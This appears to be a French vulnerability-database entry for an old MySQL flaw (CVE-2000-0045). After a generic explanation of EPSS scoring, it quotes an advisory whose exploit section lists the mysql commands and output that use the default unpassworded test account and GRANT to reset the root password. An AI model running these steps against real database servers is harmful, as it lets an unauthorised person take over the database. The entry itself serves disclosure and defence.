CVE-2000-0045 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/926/info MySQL is a popular RDBMS used by many websites as a back-end. It is possible for users with GRANT access to change passwords for every user in the database (including the mysql superuser). MySQL also ships with a default "test" account which has GRANT privileges and is unpassworded, meaning anyone can connect to the db. These two problems combined can result in a total, remote (and probably anonymous) database compromise. The database can be compromised even if the test account is disabled (given a local user account with GRANT privs). Exploit: Connect to mysql as any user with grant privileges for any table. The default test users will do nicely. If no databases has been created for the test user, do so. Then alter roots (MySQL's roots, not the real roots!) password with a GRANT. After the code below has been executed, the password of the MySQL superuser 'root' will be 'newpassword'. > mysql -utest -p Password: mysql> CREATE DATABASE test_expl; Query OK, 1 row affected (0.04 sec) mysql> GRANT select ON test_expl.* TO root@localhost IDENTIFIED BY +'newpassword'; Query OK, 0 rows affected (0.01 sec) mysql> exit Bye
